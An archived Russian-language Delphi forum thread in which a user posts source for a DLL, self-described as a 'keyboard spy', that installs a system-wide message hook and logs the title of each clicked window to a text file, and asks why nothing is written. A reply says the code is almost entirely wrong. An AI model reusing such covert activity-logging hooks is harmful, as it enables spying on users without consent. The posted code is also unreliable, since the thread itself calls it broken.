Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Перехват сообщений от мыши   Найти похожие ветки 

 
Виталий11111   (2005-10-13 15:00) [0]

ibrary spydll;

{ DLL для клавиатурного шпиёна}

uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;

function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
 begin
  if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
   begin
    AssignFile(f, "x.txt");
    if not FileExists("x.txt") then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
    Wnd := TMsg(Pointer(lParam)^).hwnd;
    GetWindowtext(Wnd, wtext, 255);
    WriteLn(f, wtext);
    Flush(f);
    CloseFile(f);
   end;
 end;
end;

procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
 begin
  SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
 end
else
 begin
  UnhookWindowsHookEx(SystemHook);
  SystemHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

В файл ничего не пишется!!! В чём проблема?


 
Eraser ©   (2005-10-13 15:01) [1]


> Виталий11111   (13.10.05 15:00)

В том что код неправильный... почти весь.



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.46 MB
Время: 0.045 c
1-1131837827
HF-Trade
2005-11-13 02:23
2005.12.11
Как эмулировать дабл клик мыши в другое окно не перемещая курсор


2-1133111316
Volfram
2005-11-27 20:08
2005.12.11
TDrawGrid


2-1132577865
Igor_thief
2005-11-21 15:57
2005.12.11
Active Desktop


1-1131507885
TFire
2005-11-09 06:44
2005.12.11
Как вытянуть History из Mozilla FireFox ?


3-1130134593
Zhekson
2005-10-24 10:16
2005.12.11
как скопировать все записи базы изменив один параметр?